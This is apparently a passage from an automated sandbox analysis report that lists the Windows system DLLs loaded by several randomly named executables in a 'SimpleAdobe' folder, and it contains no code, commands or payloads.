Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: d3d11.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: dxgi.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: dxcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: devobj.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: webio.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: schannel.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: edputil.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: slc.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: sppc.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: d3d11.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: dxgi.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: dxcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: devobj.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: webio.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: schannel.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Section loaded: amsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Section loaded: winmm.dll
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Section loaded: sxs.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: shfolder.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: wldp.dll
